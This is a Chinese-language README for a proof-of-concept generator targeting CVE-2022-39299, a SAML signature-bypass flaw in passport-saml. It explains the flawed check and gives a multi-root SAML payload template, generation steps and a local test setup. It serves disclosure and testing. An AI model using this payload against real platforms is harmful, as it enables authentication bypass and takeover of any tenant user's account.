公告 : https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
补丁 : https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
从 node-saml 测试用例中提取的基础 Payload 示例:https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml.
漏洞作者:felixwilhelm
Exploit 生成器作者(简单部分):Francesco Lacerenza
远程攻击者可能通过利用影响 passport-saml 库的 CVE-2022-39299 来绕过平台上的 SAML SSO 认证。
(撰写本文时)尚无公开的 exploit,且该安全公告于 10/12/2022 发布,信息很少或没有信息。 Doyensec 开发了一个可用的概念验证(PoC)生成器,用于在多租户平台上验证该问题,在这些平台上,租户管理员可以使用自定义 IdP 配置 SAML SSO。
如安全公告所述:
成功的攻击要求攻击者拥有任意一个 IdP 签名的 XML 元素。根据所使用的 IdP 不同,如果能够触发签名消息的生成,完全未认证的攻击(即无需访问有效用户)也可能可行。
存在漏洞的检查位于 validatePostResponse 函数中,具体见 passport-saml-2.0.0/src/passport-saml/saml.ts:775:
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
具体来说,validateSignature 检查整个 XML 文档中的 doc.documentElement 是否包含有效签名。由于 documentElement 属性返回文档的第一个根节点,因此它只会验证第一个根元素上的签名。
该函数接着会验证 XML 中是否只有一个断言(assertion):
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
因此,XML 解析器会解析具有多个根的 XML 文档。虽然签名只能应用于一个根节点,但 XPath 可以遍历多个根节点来查找认证和授权元素。
总之,一个根节点可以被签名(例如,通用 SAML 错误消息),而另一个未签名的节点可以包含可修改的认证和授权信息。这样,攻击者就能够篡改认证信息,并获得租户内任意账户的访问权限。
注意: 利用是否成功完全取决于与 passport 库使用相关的内部认证逻辑。如果认证逻辑完全信任由 passport.authenticate(...PASSPORT-SAML_OPTIONS...) 产生的已认证会话对象,那么很可能存在漏洞。
openssl 生成新的证书和密钥:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
或者,使用本仓库中的证书和密钥。
在目标平台中,以管理员身份导航到 SAML SSO 集成面板。然后,将用于验证 IdP 签名的证书设置为本文件夹中的证书。
使用平台认证 SAML SSO 用户所需的认证(authn)与授权(authz)元素配置 payload_appendix.xml。你可以在文档中找到此类信息,或者通过构建一个可用的 SSO 集成来了解有效的认证元素。
运行以下命令,生成包含你篡改数据的、已签名的多根元素 SAML 响应。
python3 payloadGenerator.py
多根元素 SAML 响应具有以下结构:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
注意:如果你想在无法访问 IdP 配置的情况下利用此问题,只需修改 payloadGenerator.py,替换用于构建最终 payload 的变量 signed_base_payload_unicode。为了使其生效,你必须将其替换为不包含断言(Assertions)的已签名 SAML 响应。祝你好运找到从目标 IdP 获取它的方法(这里需要逐案分析,且没有相关文献)。
在启用了 SAML SSO 集成的组织中,攻击者可以绕过身份验证,并以租户中的任意用户身份登录。
尽管安全公告指出攻击者可以使用“任意 IdP 签名的 XML 元素”,但 passport-saml 库会阻止任何包含多个断言的 XML 消息(参见描述部分的代码片段)。这一限制要求攻击者获得一个不包含断言的已签名 SAML 消息,例如错误消息。此类消息是否存在取决于 IdP 的实现。
例如,Auth0 的库 node-samlp 直接支持不含断言的 SAML 响应。 参见 https://github.com/auth0/node-samlp/blob/master/lib/samlp.js
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
上面的示例表明,即使使用 Auth0 技术,也可能引入导致生成不带断言的签名消息的代码路径。从这个意义上说,客户的 IdP 可能包含此类模式。
如果攻击者找到触发此类消息的方法,完全未认证的攻击(即无需访问有效用户)也可能可行。
总之,允许按租户自定义 SAML SSO 集成且受 CVE-2022-39299 影响的多租户平台,只要客户的 IdP 支持不含断言的已签名 SAML 错误消息,就可能存在认证绕过。
我们使用以下资源进行了本地测试:
在 PoC 生成器文件夹中生成 IdP 签名证书:
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
在包含生成的证书和密钥的文件夹中,使用以下命令运行 IdP:
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
该应用需要额外配置才能与本地 IdP 配合工作。只需用 IdP 的信息填充 passport-saml-example/config/config.js 文件。
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
此外,还需要编辑 package.json 以使用存在漏洞的 passport 版本。如果目标代码库中可用,请提取所需的全部版本。
准备就绪后,只需启动应用程序:
npm install
npm start